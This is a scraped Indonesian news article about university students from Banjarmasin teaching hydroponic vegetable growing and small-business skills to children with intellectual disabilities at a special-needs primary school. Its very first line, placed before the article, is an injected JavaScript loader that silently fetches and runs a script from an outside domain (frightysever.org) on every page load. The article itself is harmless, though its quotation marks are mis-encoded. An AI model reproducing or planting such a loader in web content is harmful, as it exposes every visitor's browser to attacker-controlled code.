(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sejumlah mahasiswa Universitas Lambung Mangkurat (ULM) yang tergabung dalam Program Kreativitas Mahasiswa Pengabdian Masyarakat yang diselenggarakan Oleh Kementrian Riset dan Teknologi Pendidikan Tinggi, melakukan sosialiasi serta workshop untuk anak tuna grahita.
Program tersebut telah diseleksi secara ketat oleh Kemenristekdikti secara Perguruan Tinggi Nasional dan Swasta di Seluruh Indonesia. Dan ULM menjadi salah satu tim yang dipercayai untuk program tersebut. Pada kegiatan ini, mahasiswa melakukan pelatihan dan pembinaan hidroponik di Sekolah Dasar Luar Biasa (SDLB) Dharma Wanita di jalan Dharma Praja, Km 5 Banjarmasin Timur, pada Senin (16/7).
Ketua Pelaksana Program Giyarto Nugroho mengatakan, program tersebut dilakukan oleh 4 mahasiswa yaitu, Robby Rahmadi dari Fakultas Perikanan dan Kelautan, Habibah Nurhayati, Nasidawati, Nasidawati dan Tinah dari FKIP ULM. Kegiatan ini juga mendapatkan bimbingan dari dosen pembimbing Dr Hilda Susanti SP, M. Si.
Bentuk dari kegiatan tersebut ialah memberikan pelatihan bagi anak menyandang tuna grahita tentang pentingnya meningatkan kualitas soft skill melalui kegiatan bercocok tanam serta berwirausaha.  “Kita maunya para penyandang tuna grahita bisa meningkatkan mutu soft skill untuk bekal mereka kedepannya,†ungkapnya.
Ia menambahkan juga bahwa penerapan pendidikan dengan cara seperti juga mampu untuk mengasah terus keterampilan sejak dini hal ini juga akan melatih otak dari para tuna grahita bisa tersalurkan. “Jelas, hal ini mempunyai dampak positif. Mengasah keterampilan anak secara nonformal, namun bagusnya lagi sekolah bisa memfasilitasinya,†jelasnya.
Dalam kegiatan tersebut, puluhan siswa di sana mengikuti rangkaian berbagai kegiatan yang ada telah disediakan untuk menanam sayuran secara hidroponik. Seperti menanam benih sawi di media tanam, memindahkan bibit sawi kedalam kerangka hidroponik, pengisian nutrisi kedalam wadah penyedia air, pengaturan kemiringan air dan aliran, hingga pemanenan.
Kegiatan ini berlangsung selama 4 bulan dimulai pada bulan april lalu Selain melalukan pelatihan budidaya tanaman, sekelompok mahasiswa inipun juga mengajarkan wirausaha yang mudah dan menguntungkan. melalui taman mini hidroponik.
Pembina SDLB Dharma Wanita Murtianti, S.Pd mengaku sangat senang dengan datangnya mahasiswa ULM karena sudah membantu memberikan ilmu pembelajaran baru yang langsung praktek dan memberikan bimbingan secara langsung.
“Semoga para mahasiswa tidak berhenti begitu saja dalam memberikan ilmu, karena pada harfiahnya kegiatan ini sangatlah bermanfaat dan anak didik kami menyambutnya dengan antusias,†tegasnya.
Nantinya, SDLB tersebut akan terus mendapatkan binaan dan akan dijadikan sebagai sekolah percontohan untuk program pelatihan hidroponik. Harap para mahasiswa yang melakukan pengabdian inipun juga menginginkan Pelatihan semacam ini bisa dijadikan Mata Pelajaran khusus, secara umumnya bercocok tanam.(ammar)
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas melakukan kunjungan ke Kementerian… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Tanah Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal… Read More
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
This website uses cookies.